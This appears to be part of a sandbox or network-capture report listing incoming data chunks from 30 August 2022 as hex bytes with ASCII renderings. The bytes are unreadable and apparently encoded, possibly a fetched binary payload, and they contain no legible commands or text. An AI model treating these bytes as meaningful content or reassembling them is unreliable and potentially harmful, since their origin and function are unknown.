2022-08-30 13:56:45 UTC	1442	IN	Data Raw: 4e 66 96 4b f8 81 4a 19 54 53 6b 56 9a ef 42 89 4c 2b 67 21 25 9a 9f bd 88 7b 51 09 c2 18 04 8f 2a 66 8f ef 0b 69 62 c8 4c 5d 7a a4 0c d2 1b 0e 72 57 03 7e da e5 99 a6 da 2c 19 b7 60 96 b9 cc 20 57 bb 57 72 2b 01 68 a6 26 ea c8 dd a3 bb 7f 5a 19 ec 77 9a c9 ff e4 9b 96 f1 b5 ad 26 c6 5c 69 6f 65 06 14 e8 0b ba b3 46 95 b8 8a 74 b8 8c 69 6f 8b 51 7a 41 70 5d 8a 94 b4 57 d7 3e 22 66 de 62 14 28 d1 40 22 ab 43 86 43 8a a6 51 86 67 e2 1d 95 a7 ac f2 22 a3 45 2d ef 10 dd a7 6a 19 c1 b1 69 e5 28 a7 1a f3 41 2c 0b 42 1a 9f 22 2a ea 94 9a 6a 69 4f fb de 99 ab 6a dd 2f 68 e1 f2 ba a6 26 7b c7 65 6a a7 ba fc 1c dc 12 be 6d cc 6c 91 a5 ec aa 94 8b cc 2c a7 8a b8 95 58 7f 80 bf 42 68 ef a9 f4 b8 e5 23 f2 98 01 3e 70 23 92 dd af a1 e4 5d 4d bd 8c 83 89 c9 2a 3e d7 06 Data Ascii: NfKJTSkVBL+g!%{QfibL]zrW~,` WWr+h&Zw&\ioeFtioQzAp]W>"fb(@"CCQg"E-ji(A,B"jiOj/h&{ejml,XBh#>p#]M*>
2022-08-30 13:56:45 UTC	1458	IN	Data Raw: 22 6d 0e 2c 63 c8 89 87 7d d9 aa a6 57 37 2f 60 33 c8 92 ae 09 84 2b d0 2d 30 ea f8 32 e6 6b 94 ff f7 7e 12 fd 6e ad 25 c6 1a 17 66 91 dd 3a df e5 27 31 db 45 28 32 ea 67 b8 ea c4 8f 62 ae 6d 06 e0 14 79 eb ff 62 1f 31 54 28 a4 65 49 8a b6 3f 03 85 1f 51 0f 96 7f 6b 85 4e 00 51 6e 68 96 1b 67 51 2f 19 19 e4 84 5a b4 83 91 80 12 45 8d 88 a8 a9 0c 1d d8 bd c8 0a b7 88 26 11 ef d8 d1 66 9b 2b 86 0e 87 91 fc 1b 57 2b 8f 17 ba af 6d 4d c5 40 cb 6e c3 66 c3 ab 2f fb 13 f9 27 5b 77 78 68 45 b4 90 86 a9 a7 01 e6 6b ef ab 69 75 7e ae fc fe 65 42 7e 6d f8 98 4b 80 15 4d 7b 13 42 3b bd e2 b9 9e dd 19 4c a6 27 69 87 06 6f aa 1e 8c fe cc 8e a5 a1 d5 4d b3 f3 f0 a5 0a c5 63 ad 0b c5 83 79 a0 4d 12 5e fc 45 8a 1e 14 64 6e c6 09 04 d6 9a 50 3d ae 22 40 50 89 4d db e0 8d Data Ascii: "m,c}W7/`3+-02k~n%f:'1E(2gbmyb1T(eI?QkNQnhgQ/ZE&f+W+mM@nf/'[wxhEkiu~eB~mKM{B;L'ioMcyM^EdnP="@PM
2022-08-30 13:56:45 UTC	1474	IN	Data Raw: d3 86 82 df a2 99 8c bb af 0f bb 3d 20 af a9 33 8a 4d 5f 20 c0 f2 a5 90 c7 ba 23 be 20 e5 13 bb 89 46 54 b8 e4 7b 12 fb 5a 64 4d 2f bf e8 ad 7c fc cd 6b 69 cf 90 7d 41 ac 53 f7 22 b7 72 dd 7b 81 f2 6f e2 aa e2 a5 a4 e2 7d a4 37 0a 72 2d 5a e1 ce e4 d4 74 39 fa 54 ed 86 1f d5 b8 27 9e 53 1e ec bd b7 61 ab 6a 19 2b 26 10 6a 7b 80 6a a8 e1 01 70 3e c9 24 10 bf d9 75 e7 2c 6c 0e 81 67 2e 6e ac e8 2a b3 23 be 4a c3 a3 69 28 ee a9 fc 9a ce a8 e6 48 99 6c 10 86 ef a8 66 ad 90 01 3f 41 76 56 a2 48 85 af 62 26 60 78 dd 2c d9 c5 d5 5c de 4c a7 86 35 32 65 f5 60 b8 97 ed eb 9f 23 20 69 f2 f0 2b 14 ee c0 38 ec 5d 63 92 64 13 3c 42 4d fc 1e e1 8f 27 5e 12 71 8f 91 0f e6 a0 7e 34 2e 3d 01 05 1c f1 4f b6 2d 7d a5 fb ee 13 c8 04 5d 48 35 05 55 8a 84 4f a1 79 be 78 b1 e6 Data Ascii: = 3M_ # FT{ZdM/\|ki}AS"r{o}7r-Zt9T'Saj+&j{jp>$u,lg.n*#Ji(Hlf?AvVHb&`x,\L52e`# i+8]cd<BM'^q~4.=O-}]H5UOyx
2022-08-30 13:56:45 UTC	1490	IN	Data Raw: e2 a2 ab 9a 97 a6 22 64 9c bd 0d ef ab 69 0d c6 ec 25 27 2f bb c9 55 a7 83 a2 7e 5f ba 75 e3 2e ce 48 ae 67 53 96 a4 b0 73 a2 ea dd 14 39 f0 e3 46 8e 2b f6 23 78 ac a0 6c b3 7c d6 51 66 af fb 5e a3 f3 1c 68 a9 2c 62 f3 b1 2d e3 15 90 20 71 57 a1 bd cf 39 cd 46 68 01 47 01 c5 63 cc 74 93 2b cc ea de 73 61 48 c9 03 88 2c a6 02 4c 10 58 63 2c ff b1 6f a5 68 24 a6 67 a2 92 56 60 e1 ea 20 e5 1c 70 ca 68 b4 52 31 18 a5 71 48 d9 4c c8 23 81 4d 59 92 d3 7e 80 aa dd 93 a4 6b c5 7a 88 7b 62 ac f8 3b e6 e1 fe fc 6a bc e0 3a 64 e1 68 e9 62 d4 19 94 d8 27 e2 e3 53 5f ae a2 73 7b 03 06 3a 4d 99 e4 a8 96 d2 5d 98 71 bc 26 60 ae f8 3e 68 be e0 22 bb ad 1b d6 2c 7b 3d e1 b6 f0 2c 37 b6 6a 62 ae ed 29 6a c3 da 48 d7 e0 2f 67 d4 58 21 ed 62 0b 58 71 a7 95 58 6a 4e 83 5a 60 Data Ascii: "di%'/U~_u.HgSs9F+#xl\|Qf^h,b- qW9FhGct+saH,LXc,oh$gV` phR1qHL#MY~kz{b;j:dhb'S_s{:M]q&`>h",{=,7jb)jH/gX!bXqXjNZ`
2022-08-30 13:56:45 UTC	1506	IN	Data Raw: d6 5b 93 32 46 b8 ce 0c c1 ca ec 01 23 1f 51 9b 65 13 90 6f ec 13 26 5f de 13 de 13 de ac 81 52 74 af e6 a9 48 dd b3 ed 3b f3 6a ea e3 d6 9e 6b 54 5b 9e 92 a0 a5 f0 d9 3c 3b f9 0d 86 ce fb 2e 06 d3 fb 19 c0 4d 9c 51 9c 51 9c 5b 60 51 63 16 ce 22 cb 90 1b cb c7 18 10 ca 54 04 10 50 1a b8 1a be 27 6f 1b 11 dd 6a 79 9b 6b f6 e3 80 89 f0 3e b9 6b 8d dd a4 5b 46 c8 a5 ac 73 95 53 d1 c6 b9 eb 56 ae 19 4e 89 58 b3 a7 2f e5 d3 dd 81 7d d9 26 28 ec d0 04 0a b4 07 84 c9 3b a9 6a 56 95 93 cd fb f7 00 f1 22 ba ca 9e b8 a5 0c bf 7f 6f e2 82 d5 37 60 c5 5d b2 60 98 7d cb a7 18 74 1f 11 7d 5d de 07 b5 1f c0 75 d5 07 36 3a ab af 06 0e 62 af 62 99 3d 0b c4 52 9d 0b 9f d0 38 c4 79 07 74 a8 4d 88 88 5f 58 af 9d 84 09 4f fc 54 79 ad 60 ad 60 ad 00 e6 27 ea b5 5d c2 26 99 5d Data Ascii: [2F#Qeo&_RtH;jkT[<;.MQQ[`Qc"TP'ojyk>k[FsSVNX/}&(;jV"o7`]`}t}]u6:bb=R8ytM_XOTy``']&]
2022-08-30 13:56:45 UTC	1522	IN	Data Raw: 16 c6 70 ac d9 18 62 d9 16 ed ab 6c 38 b3 d6 e0 94 c7 30 54 d7 d0 e3 2c a5 67 d2 d1 eb 6d 37 16 0c 2e ae 56 55 dc d7 96 0a b3 e9 dc c2 83 14 2e 11 3a 0e a7 6f d3 6f d9 20 6c 37 9b 81 a1 29 66 11 57 f1 f1 21 2e 17 1e ea 68 36 31 90 4c 3a b3 7e a7 ee f1 b7 2c 23 8a 8c a1 6a eb 27 a6 1f d7 ab 65 15 a8 cb 71 12 da db 53 29 dc 12 1f d3 de 52 e3 6a db c3 f7 d6 4c db 42 13 70 c7 41 85 7b 83 14 d2 da a2 dc 13 e6 24 3c 3f 00 8f ce ab 8c 2e 6b af 52 b4 44 3f 02 51 a8 b8 1a e0 68 80 4e ba 2f 5a 00 8d b7 b2 52 77 a1 8c 52 7a c0 c6 81 3a 3a 4f 8f 2b f4 b3 98 ec 1b 5e 95 bd 38 8f 85 d2 9e b3 84 06 3d cd 86 39 39 a3 6b d3 c1 7b 82 a6 fe d8 13 d8 94 4e b6 59 9b e7 ba 75 c6 ed 42 10 5e 50 ee 13 a2 d2 c1 90 5c 9e 6a 09 ad ed 18 c2 b4 d1 10 e6 7e 5b 8d 28 c4 8a 69 e6 6f 13 Data Ascii: pbl80T,gm7.VU.:oo l7)fW!.h61L:~,#j'eqS)RjLBpA{$<?.kRD?QhN/ZRwRz::O+^8=99k{NYuB^P\j~[(io
2022-08-30 13:56:45 UTC	1536	IN	Data Raw: 23 2b aa a5 a5 6a 75 df c0 6a 80 48 45 4b 89 88 e7 6f b1 f6 af 18 b6 cd a5 4e c2 f0 f7 e9 c6 3d 12 e3 db d2 a7 ba ba 6a ca ca a7 00 c8 67 af 18 80 f9 20 f1 f3 64 24 31 1c bf 6b a7 56 40 3c a2 d8 7f 3d 3f 7a 61 28 21 9e e1 7b 01 ab 1d 45 f6 ae 19 90 f7 38 f5 08 98 62 e7 3d 5d 83 e3 8f 50 3e e1 58 d5 2a 30 a9 b6 2f 2f b7 d1 8d 69 46 47 ad d0 51 f4 98 33 17 a2 d7 05 72 fb 35 ae 6d 2a 87 88 29 27 21 90 16 34 82 a0 e0 e7 5f c1 6a 42 01 cf ab 80 8f dc 8b c8 0e b6 6a 6e c1 c4 6b a1 2f ef 89 5a 34 eb ee 25 68 d0 1e 27 01 6f c9 e4 63 6e e9 dc 9b d8 18 13 db 4d 01 69 17 6b dd 62 b3 d7 4e 18 d5 db 32 b3 1e 6e a0 ea 88 4f c5 46 24 a7 22 6a 2f 13 0e a2 37 64 ad 2b af 99 1a e4 62 d3 14 e5 ab 6d 09 cf ab ae a1 e4 89 81 ef 28 ee 66 0e 41 58 55 23 55 09 ff a2 54 50 a6 cd Data Ascii: #+jujHEKoN=jg d$1kV@<=?za(!{E8b=]P>X0//iFGQ3r5m)'!4_jBjnk/Z4%h'ocnMikbN2nOF$"j/7d+bm(fAXU#UTP
2022-08-30 13:56:45 UTC	1552	IN	Data Raw: de d3 69 ed aa 3e 32 64 20 a5 a1 63 e6 b4 f9 43 7e d6 a0 f4 b2 eb ad ee e0 64 30 3e af 6a 66 cf 6e 6f 51 8b 55 74 f2 2c ba 36 9a 17 2f 68 22 57 c9 fe 4b fc e9 56 bc 74 9e d7 16 de fd 7e c2 c7 a2 e9 1c 5d 60 6f 0a ce 52 5b a7 e4 a9 e8 e6 66 bb fe 6b 35 90 df 32 66 93 cf 3a cf c3 56 32 c6 7d 71 f6 eb 7f e2 59 62 d5 65 09 07 a9 de 8b b4 28 65 a1 98 0d 35 ce 8c 20 db 5a 9d 2d f4 8c 50 29 d7 08 85 22 22 d2 16 95 d8 55 f8 42 64 8d cb 4e eb 4a 64 95 f7 3e 9f 32 3c 9d ff 36 1f e8 b5 7b b8 70 20 e0 ad 02 bc b2 76 12 d9 de 2c 2e c7 76 d3 1f 2e e2 9e 6b a7 6a d2 0a fa a7 dd e1 d3 6c ae d3 17 0a 48 e4 1b c0 b6 6e a3 83 ea 8e ae 2c 1e d2 a9 22 62 b3 d7 76 77 d3 ec 7c ab 6a 25 ed 62 eb b7 73 64 ad eb 4e bb 16 68 a8 e6 26 d8 51 6c df f6 04 dd b8 32 3c 8d e1 65 2f 26 b4 Data Ascii: i>2d cC~d0>jfnoQUt,6/h"WKVt~]`oR[fk52f:V2}qYbe(e5 Z-P)""UBdNJd>2<6{p v,.v.kjlHn,"bvw\|j%bsdNh&Ql2<e/&
2022-08-30 13:56:45 UTC	1564	IN	Data Raw: aa 90 13 62 b9 43 d1 c4 51 70 15 47 19 9c d7 4b e6 21 31 f1 7f b4 40 85 28 ed 17 5d be 7e df 2c d7 1a 87 f6 6b a7 19 a7 0f b5 e5 a9 ee 26 ae 6a 67 a6 bb f6 6f 27 15 5a 00 24 ba d9 1c 5d a3 e3 a7 83 e7 84 69 a7 26 d3 df af cb 83 72 bf 5e 92 f7 81 1c 7a 7b 37 b2 62 6a 2b c7 e3 97 c8 10 58 6a b3 91 32 2f 12 1b a3 95 97 4e 44 66 93 12 62 e7 f9 35 2e e4 e9 a9 68 0a 83 1a 5c ad cf 02 62 9b db 6e 22 10 20 18 2c 12 a1 6a 58 95 27 62 d2 6b 6b ed 64 e1 22 af e0 6d a7 22 10 5d 6f e1 d5 db d4 96 28 2d ea 28 5f da ec 97 11 19 43 ba a8 ee cb 82 a7 6a e6 95 10 62 a6 6f 21 27 96 d1 68 b4 72 aa a2 aa f0 b7 2c 3c 75 65 ed 2f 2c 24 27 a4 e1 e6 6d 30 76 2b 19 54 ed a5 76 7b 6b 22 ce cb 6f a0 f7 cb dd a0 2c aa 2f 21 6c ee 60 20 ef e3 eb b3 b6 a7 2f 43 6f 0f e2 51 56 d5 0b f6 Data Ascii: bCQpGK!1@(]~,k&jgo'Z$]i&r^z{7bj+Xj2/NDfb5.h\bn" ,jX'bkkd"m"]o(-(_Cjbo!'hr,<ue/,$'m0v+Tv{k"o,/!l` /CoQV
2022-08-30 13:56:45 UTC	1570	IN	Data Raw: 73 bd 70 bf 72 82 0f 0f 92 ff a3 7a aa 17 1e c7 5a ff 83 19 35 bf 72 f8 4f d5 93 7c 30 26 d1 9d fb 91 a5 07 c0 e8 77 a2 94 57 99 61 40 a4 2b 20 ad a6 85 40 a9 95 6b e8 c7 c0 01 77 8f a2 b2 d5 2e 80 ae fb 16 3a e7 ba 6b 37 21 97 d6 b8 a9 29 28 e5 bf 7f db ce f1 ec e9 db 94 d3 0f be 23 63 56 5e ae 57 15 96 51 5e e6 cf 81 11 52 de 1f 53 fd 58 7b 90 5b a7 2c 2e 11 fd fb b6 23 97 6e 8b aa ef 19 5f 9d e7 df d6 de 43 3b 16 0b e5 f2 23 34 a4 2b 29 38 4d e6 ae fa d7 0d 7f 31 db 8a 1d d9 71 5d 49 82 5e e6 22 74 24 2e 20 9a 3d 8e 25 3f 8e 72 87 ef f9 c5 df d6 a6 c3 47 4b 5c 43 47 83 65 39 54 ad 30 ea 1c e3 06 4b ed 23 b0 30 60 3d 48 8b 3d 22 2e f2 ff a8 6f 21 e7 ab 6a 7e ff 13 d6 e3 7e 2a d6 0b 24 41 47 3a 40 76 44 76 d8 09 87 2b c6 2f a2 28 8d 33 d6 ed 70 2e 33 cb Data Ascii: sprzZ5rO\|0&wWa@+ @kw.:k7!)(#cV^WQ^RSX{[,.#n_C;#4+)8M1q]I^"t$. =%?rGK\CGe9T0K#0`=H=".o!j~~*$AG:@vDv+/(3p.3
2022-08-30 13:56:45 UTC	1575	IN	Data Raw: e3 2c 1e d4 ab 3e 33 0d 6a 29 99 9d c2 25 ad 85 15 fb ad e4 ee eb 75 f0 a9 fb 93 01 a2 7f 12 7f 93 5d 69 5e 3b 07 d9 34 36 cf 66 70 54 7d 51 6f 87 b3 fb 35 90 0b 87 ac ad fa 26 92 67 02 1a 1e 52 9e 08 92 f6 6d 50 d2 dd 70 e0 ad 05 46 4b a5 37 18 82 2d eb 3c 9f 61 27 c1 8f 42 e3 ee 2c b1 3a d7 5e 0a 97 b7 2a 6b f1 f4 4f 49 35 0b 3e 66 7b 99 65 a9 69 74 21 d6 2b 24 9a 94 07 23 96 bb 77 a6 37 64 41 dc 24 84 6b 94 4e c5 6d 8b cb 15 18 dc 1e 80 b4 50 c4 e8 c7 67 d0 b8 77 50 69 b3 29 57 5d 16 f5 f9 8a 9f f6 23 4e c1 eb 40 c5 50 95 05 3d 52 c8 f6 99 05 21 4d cb 6e 40 ee d0 fb 86 16 63 ea 5d 06 aa 3d 53 84 05 3b 9b 1f f3 24 c9 a7 7f 32 23 65 19 13 ad ce c0 64 f1 46 94 2c f5 5c d4 11 d4 59 42 d9 6b 1c a5 80 e2 63 c8 fe 79 03 e2 53 5b 46 e9 5c 02 b7 6a d3 48 c2 90 Data Ascii: ,>3j)%u]i^;46fpT}Qo5&gRmPpFK7-<a'B,:^*kOI5>f{eit!+$#w7dA$kNmPgwPi)W]#N@P=R!Mn@c]=S;$2#edF,\YBkcyS[F\jH
2022-08-30 13:56:45 UTC	1582	IN	Data Raw: 43 24 e8 31 f9 a3 e9 e0 ae 20 84 e5 41 38 f4 01 11 7b ed bc f6 20 f4 be 95 0d 3e c3 f3 5b ed 9c d6 20 b4 fe 8d 01 d4 72 ac 0b a9 88 86 64 d0 de ab aa a6 67 00 41 26 67 26 2b a9 5d 53 68 a4 15 4b 40 1f 64 7b 75 b5 1b 09 78 b4 19 67 15 a9 fe 02 55 ad 65 6f 78 b4 0d 63 05 a9 86 1d 32 a9 01 0f 66 69 65 aa 25 28 67 28 48 07 64 8c 82 a5 69 c8 9e f0 64 73 7d a9 f2 a9 f2 b5 79 d4 a2 d0 64 53 5d a9 71 14 cc b5 79 d4 b2 c0 64 43 4d a9 11 1f 66 be b3 f8 7e 20 66 21 2d a9 51 5f 68 a4 19 bf 5b fc 64 7f 79 dd ae dc 64 5f 51 ad f6 f1 aa b5 79 c0 aa cc 64 4f 41 a9 09 6c cc ab 67 f0 7a 2c 66 2d 21 a9 49 47 68 b0 b3 d4 86 f4 64 77 79 a9 39 37 78 b4 19 7f b3 d4 64 57 59 a9 79 77 78 b4 19 7b 9c ff 64 47 49 a9 19 17 66 65 69 aa 29 b1 32 aa e9 e4 64 94 9e d1 89 fb 64 78 1b 07 Data Ascii: C$1 A8{ >[ rdgA&g&+]ShK@d{uxgUeoxc2fie%(g(Hdids}ydS]qydCMf~ f!-Q_h[dyd_QydOAlgz,f-!IGhdwy97xdWYywx{dGIfei)2ddx
2022-08-30 13:56:45 UTC	1588	IN	Data Raw: b1 65 0e dd 86 c3 15 58 83 3b 97 28 b4 9d 98 b8 ec 76 55 c8 db d0 5d 32 2a e6 89 42 1d 40 86 d2 45 ab 4b a2 72 0d 4d 8d d0 81 ab fd e7 27 a4 6d bf cc 69 1d 88 6a 61 e7 79 5c b5 97 4e fa ba 07 16 11 77 77 21 b7 21 0d f7 76 fb 7d c0 d0 f4 ed 98 3b 39 9d af 9d 31 67 5e ab e5 17 69 0d ea 87 31 e6 27 f7 06 40 21 d8 a4 cc c7 a8 93 6a c8 38 cb 81 05 48 fc 27 0d b2 0d 11 d9 c2 3a b7 d6 52 62 5c 1b 22 55 fa 00 a7 50 02 82 d7 67 a4 8d 47 3f 4f 40 37 08 e9 48 cd f9 df 9c bd ce 79 93 2d 96 92 5e 5d a1 34 58 72 03 b8 be 02 34 1e b1 92 6c f5 7c e2 5b 53 74 18 aa 65 a0 68 9d c3 af f8 c5 28 62 88 f2 8e 42 58 b9 9e 08 28 8e 38 07 b8 d6 d3 ca c8 e1 75 c2 32 10 43 16 42 27 e5 19 d2 7f 0e d4 a2 48 a8 d2 8d ea 24 34 fd dd 82 3b 6d 85 69 f6 1d b2 cf fe e7 43 f9 2a 97 74 5f 25 Data Ascii: eX;(vU]2B@EKrM'mijay\Nww!!v};91g^i1'@!j8H':Rb\"UPgG?O@7Hy-^]4Xr4l\|[Steh(bBX(8u2CB'H$4;miCt_%
2022-08-30 13:56:45 UTC	1593	IN	Data Raw: c5 66 84 88 ab 49 45 66 74 78 ab 0c df 78 ab 39 35 66 f4 f8 ab f9 f5 66 c1 52 f5 66 b4 b8 ab 79 75 66 54 58 ab 0c ff 58 ab 19 15 66 d4 d8 ab d9 d5 66 41 f2 d5 66 94 98 ab 59 55 66 6b a7 c2 08 6d e7 ea 67 4a 47 aa c7 ca 67 c0 1d ba 67 3a 37 aa 97 9a 67 1a 17 aa 0d c8 6f aa ef e2 67 42 4f aa cf c2 67 c0 15 b2 67 32 3f aa 9f 92 67 12 1f aa 0d c4 63 aa e3 ee 67 4e 43 aa c3 ce 67 c0 19 be 67 3e 33 aa 93 9e 67 1e 13 aa 0d c3 64 22 ac 29 67 29 24 aa 64 69 67 c0 2e 89 67 c9 c4 aa c4 c9 67 89 84 aa 07 ca a7 6f a2 7a 77 aa af a2 67 c0 15 b2 67 6e 63 aa b3 be 67 66 6b aa 0d dc 7b aa a5 a8 67 78 75 aa ad a0 67 c0 17 b0 67 6c 61 aa b1 bc 67 64 69 aa 0d de 79 aa a6 ab 67 7b 76 aa ae a3 67 c0 14 b3 67 6f c2 0a b2 1f c7 67 ca 0a 0d dd da 0a a4 09 c7 79 d4 0a ac 01 c7 40 Data Ascii: fIEftxx95ffRfyufTXXffAfYUfkmgJGgg:7gogBOgg2?gcgNCgg>3gd")g)$dig.ggozwggncgfk{gxugglagdiyg{vggogy@
2022-08-30 13:56:45 UTC	1609	IN	Data Raw: 9b ed a4 7b 33 ef ff bc a7 e7 a4 0e 87 c6 11 7f 74 f1 a4 06 e5 56 93 bf f5 c8 a4 04 54 89 66 74 ad c2 a4 43 9a 1c 79 94 50 dc a4 8a 60 3e fa ae f3 d7 a4 1c 38 6a 68 34 97 21 a4 e1 60 96 a1 28 02 38 a4 99 59 69 c6 7a 83 32 a4 95 40 f5 40 e6 2f 0d a4 51 76 8f 34 bd 82 07 a4 a3 9c 60 6e f6 7d 1e a4 bc 09 d4 d3 24 5b 69 a4 89 b3 5a 4e 7e 97 63 a4 34 06 8a 0e a5 cd 7a a4 ab 69 ca d0 18 11 75 a4 be 04 48 d4 8e 40 4c a4 89 6a a7 6a a7 6a 47 a4 18 fa b6 d5 e2 96 51 a4 89 8b a9 84 47 64 a9 a5 3a ed 31 23 b0 72 a2 a5 08 66 dd e7 39 73 bb a5 89 1b 45 bd f4 88 b3 a5 0e ba 6e 4d 2f 91 8c a5 a2 ce 0c 09 b5 fc 85 a5 a3 8b c1 99 99 d2 9e a5 e9 5a 6d 67 86 0d 97 a5 50 3f 1f a3 ad 3b e0 a5 2d 33 65 36 fa ea f8 a5 3f dd df 08 2c 4d f1 a5 f8 89 8b 63 da 2c ca a5 cc 37 af 52 Data Ascii: {3tVTftCyP`>8jh4!`(8Yiz2@@/Qv4`n}$[iZN~c4ziuH@LjjjGQGd:1#rf9sEnM/ZmgP?;-3e6?,Mc,7R
2022-08-30 13:56:45 UTC	1610	IN	Data Raw: 6a a7 6a cf 02 d5 18 a7 6a a7 6a d4 19 cc 01 a7 6a a7 6a d4 19 d6 1b a7 6a a7 6a d4 19 d1 1c a7 6a a7 6a d3 1e cf 02 a7 6a a7 6a d3 1e d5 18 a7 6a a7 6a d2 1f d5 18 a7 6a a7 6a ce 03 c3 0e a7 6a a7 6a d2 1f cc 01 a7 6a a7 6a c5 08 c2 0f a7 6a a7 6a d4 19 cb 06 a7 6a a7 6a c2 0f d3 1e a7 6a a7 6a cb 06 d1 1c a7 6a a7 6a cb 06 d3 1e a7 6a a7 6a c1 0c c6 0b a7 6a a7 6a d1 1c ce 03 a7 6a a7 6a cf 02 de 13 a7 6a a7 6a c6 0b dd 10 a7 6a a7 6a c2 0f d2 1f a7 6a a7 6a ca 07 cc 01 a7 6a a7 6a c6 0b c1 0c a7 6a a7 6a cc 01 c6 0b a7 6a a7 6a c1 0c c8 05 a7 6a a7 6a cf 02 ce 03 a7 6a a7 6a ca 07 d4 19 a7 6a a7 6a cc 01 cc 01 a7 6a a7 6a cc 01 de 13 a7 6a a7 6a 93 e8 01 09 d4 1d d0 6b a6 1f d2 10 cc 79 d5 6e d3 1e d1 50 ef 1a c6 5a f4 50 f8 0d d2 1d b9 02 d7 52 ef 5a Data Ascii: jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjkynPZPRZ
2022-08-30 13:56:45 UTC	1615	IN	Data Raw: 3f fa e9 26 1b d5 1c d1 03 ce 09 94 3a c2 0f d4 99 3d 55 00 ea f5 7e e3 0b 46 f6 da 0b ca 87 2d 14 a6 9f 26 19 55 e0 ad ea 31 bf 4b 82 4b 24 59 b1 fe 36 fd 31 23 8f 00 a7 e8 da d3 99 d9 e6 29 d1 09 ff 53 35 07 69 5b f5 55 48 14 ac 52 eb 1d a6 fc 76 d4 34 1a ba c3 0e 89 04 c9 3c 1f aa 66 b0 a4 52 87 50 18 f2 fa 13 a1 55 98 d6 64 2b a3 6b 86 4f 97 5a 93 9e 6c 75 9e 47 e6 29 97 12 ef 48 87 4a aa 01 e4 55 db 2e e6 27 ea e9 73 22 fb 6a f0 3d ee 23 e9 24 e3 2e cd 4f a8 28 f6 79 ef 11 51 fa f2 32 ec b5 2b 13 9e 64 a8 7b 9a 07 f5 78 b9 36 ca 45 ba 37 a7 5f d0 1b ac 52 94 61 d9 19 bf 77 d4 11 9f 5b bb 73 a5 18 da 7e cb 2b 93 1d d4 77 bc 19 a3 19 95 52 dc 68 d5 1c db 67 a1 15 eb 7a 1e 06 5a 96 23 8b 72 d4 55 04 f0 3e a0 7f 93 7d a7 42 8f 87 42 68 ba 19 3c a7 84 6d Data Ascii: ?&:=U~F-&U1KK$Y61#)S5i[UHRv4<fRPUd+kOZluG)HJU.'s"j=#$.O(yQ2+d{x6E7_Raw[s~+wRhgzZ#rU>}BBh<m
2022-08-30 13:56:45 UTC	1631	IN	Data Raw: c3 2b 4d 84 9b c5 78 c3 9b c5 a2 0a 68 53 ae 97 dc 69 e2 52 5e 9d 70 c7 56 9a 5b e9 15 d5 78 b8 57 9e 11 a2 1d 2b 54 15 fc 33 c6 3b 5a 28 91 d1 69 a0 dc b1 cc 95 5a f5 33 b4 76 a1 70 34 93 5b fc cf 08 14 b9 c4 19 32 9d 05 db 07 d9 a5 d1 2c 5a 0c 31 55 6b d5 1b 55 9a f7 3a f5 3b b1 75 bb 7e b0 cd 1f 75 80 5c b6 49 94 6d a7 7d 82 48 e7 3b b3 7a a3 1b de d9 1d 7f b3 d3 1f 6c 40 3d 1c 6e ae 67 98 89 76 1a da e7 2e 43 86 62 af 6b ae 52 98 70 ba e2 56 66 c1 70 b3 7f b4 78 15 a7 de ac b6 c6 ea 0b fe 60 a5 62 db 9e 3f 72 c7 b1 1e 68 68 95 97 20 a1 d6 0d 11 b7 5a 72 a7 4c 98 7e ce ea 5b c2 3f 97 db 13 9f 57 92 5e 53 9d 68 a7 1a ad 75 d5 7c bc 25 e6 7f a7 71 88 4a b3 71 4e 8c 43 9e b1 98 37 aa 00 79 a3 7d b1 6f b2 7b d7 8f 62 1b a3 43 ab 4a a2 bb 58 61 87 7a a1 4b Data Ascii: +MxhSiR^pV[xW+T3;Z(iZ3vp4[2,Z1UkU:;u~u\Im}H;zl@=ngv.CbkRpVfpx`b?rhh ZrL~[?W^Shu\|%qJqNC7y}o{bCJXazK
2022-08-30 13:56:45 UTC	1632	IN	Data Raw: 39 53 8d 3e 14 82 4b b4 9a 46 9b 48 b5 7a a7 6c e2 97 66 e8 92 9f a6 59 68 c3 3e 97 66 2f 0c 76 78 7f 93 a6 2c e8 62 6d e7 50 ff 8d 97 14 2c a0 9b 17 d9 95 bf c2 d3 72 86 5b 7a 0b db ba 42 96 6f a7 76 4b 80 5d 92 6f ac b7 ac d5 d4 db 9d 34 c5 3c 2a c4 6a a4 cf 02 5a df 2b ee 2c a1 4b 86 6a a7 63 5e 9b a6 48 8d 62 85 ba 4d 82 41 7c 47 9e 63 a8 c5 0b d6 1a b7 5a 98 35 d6 4e a0 68 a2 6f 63 a1 a8 ca 01 6f a4 70 dd 02 ac 69 bb 64 b6 07 c0 7d b8 6b b2 76 ae 7f d0 19 46 95 a8 8a 4a b7 7c a1 6e 13 df 62 c7 0d f0 3c 91 5a a7 6b a7 6b c1 0a c5 0a a3 6c d1 1a 27 ea 86 41 a9 6e ad 54 93 fc 31 3e f0 69 57 ba 84 69 b0 6d 96 48 a4 06 c9 23 e8 6e a7 47 8a 79 b4 6a bc 7a bb 7d ad 47 81 79 a5 73 ae 78 e1 3e a4 5d 9b 62 a7 78 45 8a 67 b4 69 a6 db 16 a0 01 c7 3d f1 f4 dc 89 Data Ascii: 9S>KFHzlfYh>f/vx,bmP,r[zBovK]o4<*jZ+,Kjc^HbMA\|GcZ5Nhocopid}kvFJ\|nb<Zkkl'AnT1>iWimH#nGyjz}Gysx>]bxEgi=
2022-08-30 13:56:45 UTC	1638	IN	Data Raw: 35 f5 47 97 51 9b 19 d1 a9 92 5e 7a 43 75 42 d8 8d 96 6b 94 14 a5 37 9a 5c 6c fc f2 77 99 6f e0 39 95 7b 0d 91 e3 48 20 6e 76 3d fa 57 a3 0f f8 07 d6 1a 91 6c a5 a6 6f 3d d2 4a f5 3e c8 51 89 43 84 7f a1 60 a6 64 a8 60 c3 56 c3 53 c7 af 69 9e 69 3c af 42 dc d2 29 87 e6 b2 be 12 f7 4c c8 29 8b 6b bd 6c ba 69 cb d4 03 51 a4 ab 2e a1 02 af 79 15 d3 9d e5 cd 80 03 de 0d 90 79 bc 42 df 04 f0 b4 b2 80 85 0d b0 fa 8a 05 1a fe 0b 6d c5 23 df 5b e6 99 50 6e cc c1 f2 9f cb 02 c2 cb d7 d5 a6 49 8b 78 bf 01 41 4b 48 45 c6 29 82 74 5e 82 4b f3 7d c5 e8 5f d2 29 8b 75 ae 72 cf 34 74 ee f0 58 a8 69 8f 2b 50 7c 4c f8 56 65 b8 d7 15 5f a5 2b ff 14 85 56 c8 3d 9a f4 ac 06 68 e5 a3 ea 5e 52 cc 94 b6 57 df 6a 0e 27 56 9e ea 1b 9d 6a bc 73 46 0f 9d f1 63 19 32 03 4e 65 cf cf Data Ascii: 